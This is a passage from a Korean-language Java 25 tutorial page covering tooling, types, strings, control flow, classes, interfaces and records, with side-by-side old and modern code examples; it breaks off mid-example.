🟠 코틀린↗ 🐍 파이썬↗ 🟣 C#↗ 🟨 JS·TS↗ 🗄️ DB↗ 🌐 서버기술↗ 🔵 C++↗ 🔌 C · 임베디드↗ 🦀 Rust↗ 🎓 CS 기술↗
👋 처음이신가요? 위 주제 메뉴 ▾(또는 키보드 1~0)로 주제 이동 · 🔍 검색(Ctrl K)에 “JWT 로그인”이나 “캐시 스탬피드”처럼 하려는 일을 한글로 입력 · 코드 상자에 마우스를 올리면 복사 버튼이 나타납니다
JAVA 25 · 문법의 뼈대부터 최신 문법까지

자바는
“오래됐지만”
계속 젊어지는 언어다

2014년의 자바와 지금의 자바는 다른 언어에 가깝습니다. 람다·스트림·record·패턴 매칭·가상 스레드가 차례로 들어오면서 장황하던 코드가 절반 이하로 줄었습니다. 이 탭은 지금 쓰는 자바를 기준으로, 옛날 문법과 나란히 놓고 설명합니다.

17SECTIONS
25기준 LTS 버전
0사전 지식 (기초부터)
100%복붙해서 도는 예제
JAVA 01

자바를 실행하는 법

“설치했는데 안 돌아가요”의 90%는 JDK 버전과 빌드 도구 이야기입니다. 여기만 정리하고 넘어가면 나머지는 편합니다.

JDK · JRE · JVM — 헷갈리는 3형제

JDK
개발자가 설치하는 것컴파일러(javac) + 도구 + JRE. 이것만 깔면 됩니다.
▼ 포함
JRE
실행에 필요한 것표준 라이브러리 + JVM. 요즘은 따로 배포하지 않습니다.
▼ 포함
JVM
실제로 코드를 돌리는 기계.class 바이트코드를 읽어 OS에 맞게 실행합니다.

“한 번 작성하면 어디서나 돈다”가 여기서 나옵니다. 내 코드는 OS가 아니라 JVM을 향해 컴파일되고, JVM이 각 OS별로 따로 존재합니다.

어떤 버전을 깔아야 하나

버전상태 · 무엇이 들어왔나
8아직도 현업에 많음. 람다·스트림이 처음 들어온 버전
11LTS. var(도입은 Java 10), 새 HTTP 클라이언트
17LTS. record · sealed · switch 표현식 정식화
21LTS. 가상 스레드 · 패턴 매칭 정식화 — 여기가 큰 분기점
25현행 LTS. 스코프 값 정식화(구조적 동시성은 아직 preview), 성능 개선. 새로 시작하면 이걸로
262026-03 · non-LTS(6개월 지원). HTTP/3 프리뷰(JEP 517), G1 처리량 개선(JEP 522), final 의 의미 강제(JEP 500), Applet API 제거(JEP 504), sun.misc.Unsafe 메모리 접근 기본 차단
설치는 이렇게 — 직접 받지 말고 SDKMAN(맥·리눅스)이나 winget(윈도우)으로 관리하면 버전 전환이 한 줄입니다. 회사 프로젝트가 8이고 개인 프로젝트가 25라도 충돌 없이 오갈 수 있습니다.

첫 코드 — 예전과 지금

예전 방식 (Java 8~10)
// Hello.java — 파일명과 클래스명이 같아야 했다
public class Hello {
    public static void main(String[] args) {
        System.out.println("안녕하세요");
    }
}
javac Hello.java   # 1) 컴파일 -> Hello.class 생성
java Hello         # 2) 실행
지금 (Java 25)
// Hello.java
void main() {                 // Java 25 정식(JEP 512). 21~24에선 preview 라 --enable-preview 필요
    System.out.println("안녕하세요");
}
java Hello.java    # 컴파일 없이 바로 실행 (한 파일짜리 스크립트)

연습·테스트할 때 훨씬 편합니다. 다만 실무 프로젝트는 여전히 빌드 도구를 씁니다.

실무에서는 빌드 도구를 씁니다

Gradle — 요즘 표준

// build.gradle.kts (Kotlin DSL)
plugins {
    java
    id("org.springframework.boot") version "4.1.0"
    id("io.spring.dependency-management") version "1.1.7"
}

java {
    toolchain {
        // 내 PC 에 25가 없어도 Gradle 이 알아서 받아 씁니다
        languageVersion = JavaLanguageVersion.of(25)
    }
}

dependencies {
    implementation("org.springframework.boot:spring-boot-starter-webmvc")  // Boot 4 에서 개명 (구 starter-web)
    compileOnly("org.projectlombok:lombok")
    annotationProcessor("org.projectlombok:lombok")
    testImplementation("org.springframework.boot:spring-boot-starter-test")
}

tasks.test { useJUnitPlatform() }
./gradlew build       # 빌드 + 테스트
./gradlew bootRun     # 스프링 부트 실행
./gradlew dependencies # 의존성 트리 (충돌 추적용)

Maven — 여전히 많이 씁니다

<properties>
    <java.version>25</java.version>
</properties>

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-webmvc</artifactId>
    </dependency>
</dependencies>
./mvnw clean package
./mvnw spring-boot:run
둘 중 뭘 쓰나 — 새 프로젝트는 Gradle(빠르고 유연), 기존 프로젝트는 그대로. 둘 다 하는 일은 같습니다: 의존성 내려받기 → 컴파일 → 테스트 → jar 만들기. ./gradlew·./mvnw는 래퍼라서 빌드 도구를 안 깔아도 팀원 전부 같은 버전으로 돕니다.
Spring Boot 4.1 요구사항 — Java 17~26(권장 25), Gradle 8.14+ / 9.x, Maven 3.6.3+, Tomcat 11.0 · Jetty 12.1(Servlet 6.1).
Lombok 은 애노테이션 프로세서라 JDK 를 많이 탑니다. JDK 26 에서 쓸 거라면 Lombok 을 최신으로 올렸는지 먼저 확인하세요.
파이썬에서 넘어왔다면 — 자바는 컴파일 언어입니다. 실행 전에 문법 오류·타입 오류를 전부 잡아 줍니다. 귀찮게 느껴지지만, 서비스가 커질수록 이게 가장 큰 무기가 됩니다. “돌려봐야 아는 오류”가 훨씬 적습니다.
자바가 실행되기까지 — 왜 두 단계인가 Main.java 사람이 쓴 소스 javac 문법 · 타입 검사 Main.class 바이트코드 — OS 무관 JVM 읽어서 실행 JVM 안에서 다시 한 번 — 같은 메서드의 처리 시간이 예열되며 줄어듭니다 (대표값) 0 20 40 ms 해석 실행 — 약 40 ms C1 컴파일 — 약 12 ms C2 최적화 기계어 — 약 3 ms 1 100 1,000 10,000 몇 번째 호출인가 (로그 눈금) "한 번 작성해 어디서나 실행" 의 정체가 이 중간 단계입니다 — .class 는 어느 OS 에서든 같습니다 벤치마크를 잴 때는 예열 구간을 빼고 재세요 — 첫 회 수치는 의미가 없습니다 시작 속도가 중요하면 GraalVM 네이티브 이미지로 미리 컴파일하는 선택지가 있습니다 JDK 는 개발 도구까지 포함한 것이고 JRE 는 실행만 하는 것입니다 — 요즘은 JDK 를 그냥 씁니다
자바가 느리다는 옛말은 JIT 이전 시대의 이야기입니다.
JAVA 02

변수 · 타입 · var

자바의 타입은 딱 두 종류로 나뉩니다 — 기본형과 참조형. 이 구분만 잡으면 나머지는 쉽습니다.

기본형 8가지 — 값 자체를 담는다

타입크기범위 · 쓰임
byte1B-128 ~ 127 · 바이너리 데이터
short2B±3만 · 거의 안 씁니다
int4B±21억 · 정수의 기본값
long8B±922경 · 돈·ID·시간 100L
float4B실수 7자리 1.5f
double8B실수 15자리 · 실수의 기본값
boolean1byte*true / false (0/1 아님!) — *크기는 명세에 없고 JVM 구현상 보통 1바이트
char2B문자 하나 '가' (작은따옴표)
돈 계산에 double 쓰면 안 됩니다 — 0.1 + 0.2 != 0.3 입니다(부동소수점 오차). 금액은 BigDecimal 또는 정수(원 단위 long)로 다루세요.

참조형 — 값이 있는 '주소'를 담는다

// 기본형: 상자 안에 값이 직접 들어 있다
int a = 10;
int b = a;        // 값이 복사됨
b = 20;           // a 는 그대로 10

// 참조형: 상자 안에 '어디 있는지'가 들어 있다
int[] x = {1, 2, 3};
int[] y = x;      // 주소가 복사됨 (같은 배열을 가리킴)
y[0] = 99;        // x[0] 도 99 가 된다!

// null 은 참조형에만 존재한다
String s = null;         // OK
// int n = null;         // 컴파일 에러

// 박싱 타입 — 기본형을 객체로 감싼 것
Integer boxed = 10;      // int  -> Integer (오토박싱)
int unboxed = boxed;     // Integer -> int  (언박싱)

// ⚠️ 박싱 타입 비교는 == 이 아니라 equals
Integer p = 1000, q = 1000;
System.out.println(p == q);        // false! (다른 객체)
System.out.println(p.equals(q));   // true
언제 박싱 타입을 쓰나 — 컬렉션에 담을 때(List<Integer>)와 “값이 없음(null)”을 표현해야 할 때입니다. DB 컬럼이 nullable 이면 엔티티 필드는 Long·Integer로 두세요.

var — 타입을 안 적어도 되는 자리 Java 10+

// 오른쪽만 봐도 타입이 뻔할 때 씁니다
var name = "김현우";                       // String
var count = 10;                            // int
var users = new ArrayList<User>();         // ArrayList<User>
var map = new HashMap<String, List<Long>>(); // 특히 여기서 빛납니다

// 옛날 방식 — 같은 말을 두 번 적었다
HashMap<String, List<Long>> map2 = new HashMap<String, List<Long>>();

for (var entry : map.entrySet()) { ... }   // 반복문에서도

// ❌ 쓸 수 없는 자리
// var x;                  초기값이 없으면 타입을 못 정함
// var y = null;           null 만으로는 타입을 못 정함
// class A { var f = 1; }  필드에는 못 씀
// void m(var a) {}        파라미터에도 못 씀

var 를 쓰면 안 되는 경우

❌ 타입이 안 보인다
var result = service.process(input);
// result 가 뭔지 알려면 process 를 열어봐야 함
✅ 명시하면 읽는 사람이 편하다
OrderResult result = service.process(input);

기준은 하나입니다 — 그 줄만 봐도 타입을 알 수 있으면 var, 아니면 명시. var는 타입을 없애는 게 아니라 안 적는 것일 뿐이고, 타입은 컴파일 시점에 그대로 결정됩니다(동적 타입이 아닙니다).

연산자에서 조심할 것

// 1) 정수 나눗셈은 소수점이 버려진다
int a = 7 / 2;              // 3   (3.5 아님)
double b = 7 / 2;           // 3.0 (이미 int 로 계산된 뒤 변환됨)
double c = 7 / 2.0;         // 3.5 ✅ 한쪽을 실수로

// 2) 오버플로는 조용히 넘어간다
int max = Integer.MAX_VALUE;
System.out.println(max + 1);              // -2147483648 (음수!)
System.out.println(Math.addExact(max, 1)); // ArithmeticException ✅ 터뜨려서 알림

// 3) 문자열 + 는 왼쪽부터 계산된다
System.out.println("합계: " + 1 + 2);     // "합계: 12"  ← 함정
System.out.println("합계: " + (1 + 2));   // "합계: 3"   ✅

// 4) 삼항 연산자
String grade = score >= 60 ? "합격" : "불합격";

// 5) 증감 연산자의 위치
int i = 5;
System.out.println(i++);    // 5 출력 후 6 이 됨
System.out.println(++i);    // 7 이 된 후 7 출력

// 6) 비트 연산 (권한 플래그 등에서 씁니다)
int READ = 1, WRITE = 2, EXEC = 4;
int perm = READ | WRITE;              // 3 — 켜기
boolean canWrite = (perm & WRITE) != 0;  // true — 확인
final 을 습관처럼 붙이세요 — final var name = "김현우"; 처럼 두면 재할당이 막힙니다. “이 변수는 여기서 정해지고 안 바뀐다”가 코드에 드러나면 읽는 속도가 확실히 빨라지고, 나중에 동시성 코드에서 사고를 줄여 줍니다.
JAVA 03

문자열과 텍스트 블록

실무 코드의 절반은 문자열을 만들고 자르고 붙이는 일입니다. 자바의 String 은 불변(immutable)이라는 점 하나가 성능과 안전성을 모두 좌우합니다.

String 은 못 바꿉니다 — 새로 만들 뿐

String s = "hello";
s.toUpperCase();            // 결과를 안 받으면 아무 일도 안 일어남
System.out.println(s);      // hello (그대로!)

s = s.toUpperCase();        // ✅ 다시 담아야 한다
System.out.println(s);      // HELLO

// ⚠️ 반복문 안에서 + 는 매번 새 객체를 만든다
String result = "";
for (int i = 0; i < 10000; i++) {
    result += i;            // 1만 개의 String 이 만들어짐 (느림)
}

// ✅ StringBuilder 를 쓴다
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 10000; i++) {
    sb.append(i);
}
String result2 = sb.toString();

// ✅ 목록을 이어붙일 땐 join
String csv = String.join(", ", List.of("a", "b", "c"));  // "a, b, c"
== 로 문자열을 비교하지 마세요 — ==는 “같은 객체인가”를 봅니다. 값 비교는 항상 equals(), 대소문자 무시는 equalsIgnoreCase(). null 안전하게 쓰려면 "확정".equals(status)처럼 상수를 앞에 두세요.

자주 쓰는 메서드

코드결과 · 메모
s.length()글자 수
s.isEmpty() / isBlank()""인가 / 공백뿐인가 11+
s.strip() / trim()앞뒤 공백 제거 (strip 이 유니코드까지)
s.toUpperCase() / toLowerCase()대소문자
s.contains("가")포함 여부
s.startsWith / endsWith시작 · 끝 확인
s.indexOf("가")위치 (없으면 -1)
s.substring(0, 3)0~2번째 (끝 미포함)
s.replace("a", "b")전부 치환 (정규식 아님)
s.replaceAll("\\d", "")정규식 치환
s.split(",")배열로 쪼개기
s.chars()문자 스트림
s.repeat(3)반복 11+
s.lines()줄 단위 스트림 11+
s.formatted(a, b)서식 15+

텍스트 블록 — 여러 줄 문자열 Java 15+

❌ 옛날 방식 — 읽을 수가 없다
String sql = "SELECT o.id, o.amount, u.name\n" +
             "  FROM orders o\n" +
             "  JOIN users u ON u.id = o.user_id\n" +
             " WHERE o.status = 'PAID'\n" +
             " ORDER BY o.created_at DESC";

String json = "{\"name\": \"김현우\", \"age\": 33}";
✅ 텍스트 블록 — 그대로 붙여넣으면 됩니다
String sql = """
        SELECT o.id, o.amount, u.name
          FROM orders o
          JOIN users u ON u.id = o.user_id
         WHERE o.status = 'PAID'
         ORDER BY o.created_at DESC
        """;

String json = """
        {"name": "김현우", "age": 33}
        """;

들여쓰기는 가장 왼쪽 줄을 기준으로 자동으로 깎입니다. 따옴표를 이스케이프할 필요도 없어서 SQL·JSON·HTML에 특히 좋습니다.

서식 맞추기

// printf 계열 — C 스타일
System.out.printf("%s 님의 잔액은 %,d 원입니다%n", "김현우", 1234567);
//                                     ^ 천 단위 콤마
String s = String.format("%05d", 42);        // "00042"  0 채우기
String t = "%.2f".formatted(3.14159);        // "3.14"   소수 2자리
String u = String.format("%-10s|", "왼쪽");   // "왼쪽        |"  왼쪽 정렬
String v = String.format("%10s|", "오른쪽");  // "       오른쪽|"  오른쪽 정렬

/* 자주 쓰는 서식
   %s  문자열      %d  정수        %f  실수
   %n  줄바꿈      %%  퍼센트 기호  %x  16진수
   %,d 천단위 콤마  %05d 0 채움     %.2f 소수 자리수 */

// 숫자 서식은 NumberFormat 이 더 정확하다 (통화·로케일)
var won = java.text.NumberFormat.getCurrencyInstance(java.util.Locale.KOREA);
won.format(1234567);   // "₩1,234,567"

정규식 — 이 정도면 대부분 해결됩니다

import java.util.regex.*;

// 1) 맞는지만 확인
boolean ok = "010-1234-5678".matches("\\d{3}-\\d{4}-\\d{4}");

// 2) 뽑아내기
Pattern p = Pattern.compile("(\\d{4})-(\\d{2})-(\\d{2})");
Matcher m = p.matcher("주문일: 2026-08-03 입니다");
if (m.find()) {
    String year = m.group(1);    // "2026"
    String month = m.group(2);   // "08"
}

// 3) 전부 찾기
Matcher all = Pattern.compile("#\\w+").matcher(text);
while (all.find()) System.out.println(all.group());

// 4) 치환 — 숫자만 남기기
String digits = tel.replaceAll("[^0-9]", "");

// ⚠️ Pattern.compile 은 반복문 밖에서 (컴파일 비용이 큽니다)
private static final Pattern TEL =
        Pattern.compile("^01[016-9]-?\\d{3,4}-?\\d{4}$");

기호 최소 세트

기호뜻
\\d \\w \\s숫자 / 글자·숫자·_ / 공백
.아무 글자 하나
+ * ?1회↑ / 0회↑ / 있어도 없어도
{3} {3,5}정확히 3번 / 3~5번
[abc] [^abc]이 중 하나 / 이것 빼고
( )뽑아낼 부분(그룹)
^ $줄의 시작 / 끝
|또는
자바에서는 백슬래시가 두 개입니다. 정규식의 \d를 자바 문자열에 쓰려면 "\\d"로 적어야 합니다. 텍스트 블록을 쓰면 이 이중 이스케이프를 피할 수 있습니다.
JAVA 04

조건 · 반복 · switch 표현식

흐름 제어는 다른 언어와 거의 같습니다. 다만 switch는 완전히 새로 태어났으니 여기만 눈여겨보세요.

조건문

if (score >= 90) {
    grade = "A";
} else if (score >= 80) {
    grade = "B";
} else {
    grade = "F";
}

// 삼항 연산자
String msg = age >= 19 ? "성인" : "미성년";

// ⚠️ 자바에는 "빈 값은 거짓" 규칙이 없다
// if (list) {}        컴파일 에러
if (!list.isEmpty()) { }        // ✅

// null 을 먼저 걸러내는 습관 (가드 절)
public void process(Order order) {
    if (order == null) return;
    if (order.isCancelled()) return;
    // 여기부터는 안전한 상태
}

반복문

// 향상된 for — 가장 많이 씁니다
for (String name : names) {
    System.out.println(name);
}

// 인덱스가 필요할 때만 전통 for
for (int i = 0; i < names.size(); i++) { ... }

// while / do-while
while (queue.hasNext()) { ... }

// 라벨 — 중첩 반복문 한 번에 탈출
outer:
for (var row : grid) {
    for (var cell : row) {
        if (cell == target) break outer;   // 바깥까지 탈출
    }
}

// 컬렉션 순회 중 삭제는 Iterator 로 (ConcurrentModificationException 방지)
var it = list.iterator();
while (it.hasNext()) {
    if (it.next().isExpired()) it.remove();
}
// 더 간단히
list.removeIf(item -> item.isExpired());   // ✅

switch 는 이제 값을 돌려주는 식입니다 Java 14+

❌ 옛날 switch — break 를 빠뜨리면 아래로 흘러내린다
String type;
switch (code) {
    case "A":
    case "B":
        type = "일반";
        break;          // 빠뜨리면 아래 case 로 흘러감!
    case "C":
        type = "특별";
        break;
    default:
        type = "미정";
}
✅ switch 표현식 — 값을 바로 돌려준다
String type = switch (code) {
    case "A", "B" -> "일반";        // 여러 개를 콤마로
    case "C"      -> "특별";
    default       -> "미정";
};   // ← 세미콜론 필요 (식이니까)

// 블록이 필요하면 yield 로 값을 내보낸다
int point = switch (grade) {
    case "A" -> 100;
    case "B" -> {
        log.info("B 등급 처리");
        yield 80;
    }
    default -> 0;
};
화살표 switch 의 진짜 장점 3가지 — ① break 가 필요 없습니다(흘러내림 없음) ② 값을 돌려주므로 변수를 미리 선언하고 채우는 패턴이 사라집니다 ③ enum 을 다룰 때 모든 경우를 다뤘는지 컴파일러가 검사해 줍니다 (case 를 빠뜨리면 컴파일 에러 — enum 에 값이 추가돼도 놓치지 않습니다).

enum + switch — 실무에서 가장 자주 만나는 조합

enum OrderStatus { CREATED, PAID, SHIPPED, DONE, CANCELLED }

// default 를 안 적으면 -> 모든 case 를 다뤘는지 컴파일러가 검사한다
String label = switch (status) {
    case CREATED   -> "주문 접수";
    case PAID      -> "결제 완료";
    case SHIPPED   -> "배송 중";
    case DONE      -> "배송 완료";
    case CANCELLED -> "취소됨";
};
// 나중에 enum 에 REFUNDED 를 추가하면 -> 여기서 컴파일 에러가 나서 놓칠 수 없다 ✅
JAVA 05

클래스 · 객체 · 생성자

자바는 모든 코드가 클래스 안에 있습니다. 클래스는 “데이터 + 그 데이터를 다루는 기능”을 한 덩어리로 묶는 도구입니다.

기본 구조

public class Order {

    // 1) 필드 — 객체가 가지는 데이터
    private final Long id;              // final = 생성 후 안 바뀜
    private final String customerName;
    private int amount;
    private OrderStatus status = OrderStatus.CREATED;   // 기본값

    // 2) 생성자 — 객체를 만들 때 필요한 것을 받는다
    public Order(Long id, String customerName, int amount) {
        if (amount < 0) {
            throw new IllegalArgumentException("금액은 0 이상이어야 합니다");
        }
        this.id = id;                   // this = "지금 만들고 있는 이 객체"
        this.customerName = customerName;
        this.amount = amount;
    }

    // 3) 메서드 — 객체가 할 수 있는 일
    public void pay() {
        if (status != OrderStatus.CREATED) {
            throw new IllegalStateException("이미 처리된 주문입니다");
        }
        this.status = OrderStatus.PAID;
    }

    public boolean isPaid() {
        return status == OrderStatus.PAID;
    }

    // 4) getter — 밖에서 읽기만 허용
    public Long getId() { return id; }
    public int getAmount() { return amount; }

    // 5) 객체를 문자열로 (로그·디버깅에서 매우 중요)
    @Override
    public String toString() {
        return "Order{id=%d, amount=%d, status=%s}"
                .formatted(id, amount, status);
    }
}

// 사용
Order order = new Order(1L, "김현우", 50000);
order.pay();
System.out.println(order);   // Order{id=1, amount=50000, status=PAID}

접근 제어자 4가지

키워드어디서 접근 가능
public어디서나
protected같은 패키지 + 자식 클래스
(없음)같은 패키지만 (package-private)
private이 클래스 안에서만

원칙은 하나 — 필드는 무조건 private, 메서드는 밖에서 꼭 써야 하는 것만 public. 넓게 열어 두면 나중에 못 바꿉니다.

static — 객체 없이 쓰는 것

public class OrderPolicy {
    // 상수 — static final + 대문자
    public static final int MAX_AMOUNT = 1_000_000;

    // 유틸 메서드 — 객체를 만들 필요가 없다
    public static boolean isValid(int amount) {
        return amount > 0 && amount <= MAX_AMOUNT;
    }
}

// 객체 생성 없이 클래스명으로 호출
if (OrderPolicy.isValid(50000)) { ... }
static 필드에 상태를 담지 마세요 — 모든 요청이 같은 값을 공유하게 되어 서버에서는 사용자 A의 데이터가 B에게 보이는 사고로 이어집니다. static 은 상수와 순수 계산 함수에만 쓰세요.

생성자가 많아질 때 — 빌더 패턴

❌ 파라미터가 늘어나면 무엇이 뭔지 모른다
new Order(1L, "김현우", 50000, null, true, false, "서울시 강남구");
//              무엇이 true 고 무엇이 false 인가?

// 생성자를 여러 개 만드는 방식(텔레스코핑)도 금방 한계가 온다
public Order(Long id, String name) { ... }
public Order(Long id, String name, int amount) { ... }
public Order(Long id, String name, int amount, String addr) { ... }
✅ 빌더 — 이름을 붙여서 넘긴다
Order order = Order.builder()
        .id(1L)
        .customerName("김현우")
        .amount(50000)
        .address("서울시 강남구")
        .express(true)
        .build();

// Lombok 을 쓰면 @Builder 한 줄이면 끝납니다 (실전 도구 탭 참고)
@Builder
public class Order { ... }
객체를 만들 때의 기준 — “이 객체가 잘못된 상태로 존재할 수 있는가?”를 물어보세요. 생성자에서 검증(amount < 0)을 해 두면 Order 객체가 존재한다는 것 자체가 “유효한 주문”을 보장합니다. 이게 뒤쪽 코드에서 방어 코드를 없애 주는 가장 큰 힘입니다.
JAVA 06

상속 · 인터페이스 · 다형성

상속은 “~이다”, 인터페이스는 “~할 수 있다”입니다. 실무에서는 상속보다 인터페이스를 훨씬 많이 씁니다.

상속 — extends

public abstract class Payment {          // abstract = 직접 만들 수 없음
    protected final int amount;

    protected Payment(int amount) {
        this.amount = amount;
    }

    // 공통 로직 — 자식이 그대로 쓴다
    public final void process() {        // final = 자식이 못 바꿈
        validate();
        doPay();                         // 이 부분만 자식마다 다름
        log();
    }

    private void validate() {
        if (amount <= 0) throw new IllegalArgumentException();
    }

    protected abstract void doPay();     // 자식이 반드시 구현

    private void log() { System.out.println(amount + "원 결제"); }
}

public class CardPayment extends Payment {
    public CardPayment(int amount) {
        super(amount);                   // 부모 생성자 먼저 호출 (필수)
    }

    @Override                            // 오타 방지 — 꼭 붙이세요
    protected void doPay() {
        System.out.println("카드 승인 요청");
    }
}

위 구조가 템플릿 메서드 패턴입니다. “흐름은 같고 한 단계만 다른” 경우에 잘 맞습니다.

인터페이스 — implements

public interface Notifier {
    void send(String to, String message);          // 구현 강제

    // default — 구현체를 안 고치고 기능 추가 (Java 8+)
    default void sendAll(List<String> tos, String msg) {
        tos.forEach(to -> send(to, msg));
    }

    // static — 인터페이스에 딸린 유틸
    static Notifier noop() {
        return (to, msg) -> { };
    }
}

public class EmailNotifier implements Notifier {
    @Override
    public void send(String to, String message) { ... }
}

public class SmsNotifier implements Notifier {
    @Override
    public void send(String to, String message) { ... }
}

// 여러 개를 동시에 구현할 수 있다 (상속은 하나만)
public class HybridNotifier implements Notifier, AutoCloseable { ... }

다형성 — 같은 코드가 다르게 동작하는 이유

// 받는 쪽은 '무엇인지' 모른 채 '무엇을 할 수 있는지'만 안다
public class OrderService {
    private final Notifier notifier;     // 인터페이스 타입으로 받는다

    public OrderService(Notifier notifier) {
        this.notifier = notifier;        // 무엇이 들어올지 여기선 모른다
    }

    public void complete(Order order) {
        order.pay();
        notifier.send(order.getEmail(), "주문이 완료되었습니다");   // 실제 동작은 런타임에 결정
    }
}

// 넣는 것에 따라 동작이 바뀐다 — OrderService 코드는 한 글자도 안 고침
new OrderService(new EmailNotifier());   // 이메일로 전송
new OrderService(new SmsNotifier());     // 문자로 전송
new OrderService(Notifier.noop());       // 테스트에서는 아무것도 안 함
이게 스프링의 DI(의존성 주입)가 하는 일의 전부입니다. “무엇을 넣을지”를 스프링이 대신 결정해서 넣어 줄 뿐, 원리는 위 코드와 똑같습니다. 🍃 Spring Boot 탭에서 이어집니다.

상속 vs 인터페이스 — 무엇을 쓸까

상황선택이유
“카드결제는 결제다”abstract class공통 상태(필드)와 공통 흐름을 물려줄 때
“이 클래스는 전송할 수 있다”interface능력만 정의. 여러 개 구현 가능
구현을 갈아끼워야 함interface테스트에서 가짜 구현으로 대체하기 쉬움
코드 재사용이 목적합성(필드로 갖기)상속은 결합도가 너무 높아집니다
상속을 남용하면 생기는 일 — 부모를 고치는 순간 모든 자식이 깨집니다. 그리고 자바는 클래스를 하나만 상속할 수 있어서, 한 번 쓰면 다른 선택지가 사라집니다. “재사용하고 싶다”가 이유라면 상속이 아니라 그 객체를 필드로 갖는 것(합성)을 먼저 검토하세요.
"~이다"는 상속, "~할 수 있다"는 인터페이스 extends — 하나만 class Dog extends Animal 부모의 필드와 구현을 그대로 물려받습니다 부모가 바뀌면 자식이 전부 영향을 받습니다 implements — 여럿 가능 class Dog implements Runnable, Comparable "이 일들을 할 수 있다"는 약속만 합니다 테스트에서 다른 구현으로 갈아 끼우기 쉽습니다 다형성 — 실제 객체의 메서드가 불립니다 Animal a = new Dog(); 선언은 Animal a.speak() Dog 의 것이 불립니다 호출부를 안 고치고 종류를 늘릴 수 있습니다 요즘 기준 — 상속은 꼭 필요할 때만, 대부분은 인터페이스 + 조합(합성)이 낫습니다. 봉인 클래스(sealed)로 상속 범위를 좁힐 수도 있습니다
"코드를 재사용하려고" 상속하면 대개 나중에 후회합니다 — 합성을 먼저 보세요.
JAVA 07

record · enum · sealed — 요즘 자바의 주력

이 셋을 쓰기 시작하면 코드량이 눈에 띄게 줄고, 컴파일러가 잡아 주는 실수가 많아집니다.

record — 데이터를 담는 클래스 Java 16+

❌ 예전: DTO 하나에 60줄
public class UserDto {
    private final String name;
    private final int age;

    public UserDto(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public String getName() { return name; }
    public int getAge() { return age; }

    @Override public boolean equals(Object o) { ...10줄... }
    @Override public int hashCode() { ...3줄... }
    @Override public String toString() { ...3줄... }
}
✅ record: 한 줄
public record UserDto(String name, int age) { }

// 자동으로 생기는 것
//   생성자, name(), age()   ← getName() 이 아니라 name()
//   equals(), hashCode(), toString()
//   모든 필드가 final (불변)

var u = new UserDto("김현우", 33);
u.name();                       // "김현우"
u.equals(new UserDto("김현우", 33));   // true ✅ 값으로 비교

record 에도 검증·메서드를 넣을 수 있습니다

public record Money(String currency, long amount) {

    // 압축 생성자 — 검증·정규화 전용
    public Money {
        if (amount < 0) throw new IllegalArgumentException("음수 불가");
        currency = currency.toUpperCase();   // 값 보정도 가능
    }

    // 일반 메서드도 자유롭게
    public Money plus(Money other) {
        if (!currency.equals(other.currency))
            throw new IllegalArgumentException("통화가 다릅니다");
        return new Money(currency, amount + other.amount);
    }

    // 정적 팩토리
    public static Money won(long amount) {
        return new Money("KRW", amount);
    }
}

Money.won(1000).plus(Money.won(500));   // Money[currency=KRW, amount=1500]

record 를 쓰면 좋은 곳 / 아닌 곳

  • ✅ API 요청·응답 DTO — 가장 잘 맞습니다
  • ✅ 값 객체(금액, 좌표, 기간)
  • ✅ 메서드가 여러 값을 한 번에 돌려줄 때
  • ✅ 설정값 묶음(@ConfigurationProperties)
  • ❌ JPA 엔티티 — 기본 생성자와 가변 필드가 필요해서 안 맞습니다
  • ❌ 상태가 바뀌어야 하는 객체
엔티티 → DTO 변환에 record 를 쓰면 “응답에 실수로 엔티티 내부가 노출되는” 사고를 구조적으로 막습니다. record OrderRes(Long id, int amount) {} 처럼 필요한 필드만 정의하세요.

record 를 어디에 선언하나 — 파일 · 중첩 · 지역

가장 많이 받는 질문입니다. “클래스처럼 파일을 따로 만드나요, 아니면 서비스 안에 넣나요?” — 답은 둘 다이고, 기준은 하나뿐입니다. 그 record 를 몇 계층이 알아야 하는가.

선언 위치 모양 언제 이걸 쓰나
① 별도 파일
가장 표준
OrderRes.java
public record OrderRes(…) { }
컨트롤러 · 서비스 · 다른 모듈이 함께 주고받는 DTO.
두 군데 이상에서 import 되면 무조건 이쪽입니다.
② 클래스 안에 중첩
Spring 실무 최다
class UserController {
  record CreateReq(…) { }
}
그 컨트롤러(또는 서비스) 안에서만 쓰는 요청·응답.
파일 수를 늘리지 않고 쓰는 곳 바로 옆에 둡니다.
③ 메서드 안에 Java 16+ void calc() {
  record Sales(…) { }
}
그 메서드 한 곳에서만 쓰는 임시 묶음.
스트림 중간 집계에서 값 두세 개를 같이 들고 다닐 때.
④ 인터페이스 안에 sealed interface Result {
  record Ok(…) implements Result { }
}
sealed 계층을 한 파일에 모을 때.
구현이 3~5개로 고정이면 흩어 놓는 것보다 읽기 좋습니다.

① 별도 파일 — 계층을 넘어 다니는 DTO

// src/main/java/com/shop/order/dto/OrderRes.java
package com.shop.order.dto;

public record OrderRes(Long id, String status, long amount) {

    // 엔티티 → DTO 변환은 정적 팩토리로 모아 둡니다
    public static OrderRes from(Order o) {
        return new OrderRes(o.getId(), o.getStatus().name(), o.getAmount());
    }
}

// ── 다른 파일에서 ──────────────────────────
import com.shop.order.dto.OrderRes;

OrderRes res = OrderRes.from(order);   // 클래스와 똑같이 import 해서 씁니다
public 이 붙으면 파일 이름 = record 이름, 한 파일에 public record 하나 — 일반 클래스와 완전히 같은 규칙입니다.

② 컨트롤러 안에 중첩 — 실무에서 제일 흔한 모양

@RestController
@RequestMapping("/api/users")
@RequiredArgsConstructor               // final 필드 생성자 주입 (Lombok)
public class UserController {

    private final UserService service;

    // 이 컨트롤러 밖에서는 아무도 안 쓰는 요청 바디
    public record CreateReq(String email, String name) { }
    public record CreateRes(Long id) { }

    @PostMapping
    public CreateRes create(@RequestBody CreateReq req) {
        Long id = service.create(req.email(), req.name());
        return new CreateRes(id);
    }
}

// 밖에서 부를 일이 생기면 이름이 이렇게 됩니다
var r = new UserController.CreateReq("a@b.c", "현우");
record 는 중첩해도 자동으로 static 입니다. 일반 inner class 와 달리 바깥 인스턴스를 붙들지 않아 누수 걱정이 없습니다. static 을 직접 붙여도 되지만 중복입니다.

③ 메서드 안 지역 record — 이름 있는 임시 튜플

public List<String> topSellers(List<Order> orders) {

    // 이 메서드에서만 쓰는 묶음
    record Sales(String product, long total) { }

    return orders.stream()
        .collect(Collectors.groupingBy(
                Order::product,
                Collectors.summingLong(Order::amount)))
        .entrySet().stream()
